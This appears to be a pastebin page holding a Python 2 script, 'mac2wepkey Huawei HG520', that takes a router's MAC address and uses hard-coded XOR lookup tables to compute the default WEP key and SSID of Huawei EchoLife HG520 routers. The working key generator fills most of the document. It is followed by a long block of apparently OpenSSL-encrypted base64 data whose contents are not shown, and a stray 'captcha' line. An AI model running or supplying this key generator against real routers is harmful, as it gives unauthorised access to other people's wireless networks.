From Cute Dormouse, 1 Year ago, written in Python.
# mac2wepkey Huawei HG520 by  - 12/2010

i=0;mac=[]
a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']

def hex2dec(s):
        return int(s, 16)

print "\n  #####################################################"
print "  #         Huawei Echo Life HG520 mac2wepkey         #"
print "  #          -        #"
print "  #####################################################"

mac2=raw_input("\n  Ingresa la MAC: ").replace(':','')

while i<12:
        mac.insert(i,hex2dec(mac2[i]));i=i+1
s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5
s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10
s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11
s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10
ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13
yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4
yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7
yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14
ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7

print "\n          WEP = "+str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye])+"      SSID = "+str(ssid[s1])+str(ssid[s2])+str(ssid[s3])+str(ssid[s4])+"\n\n"
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
captcha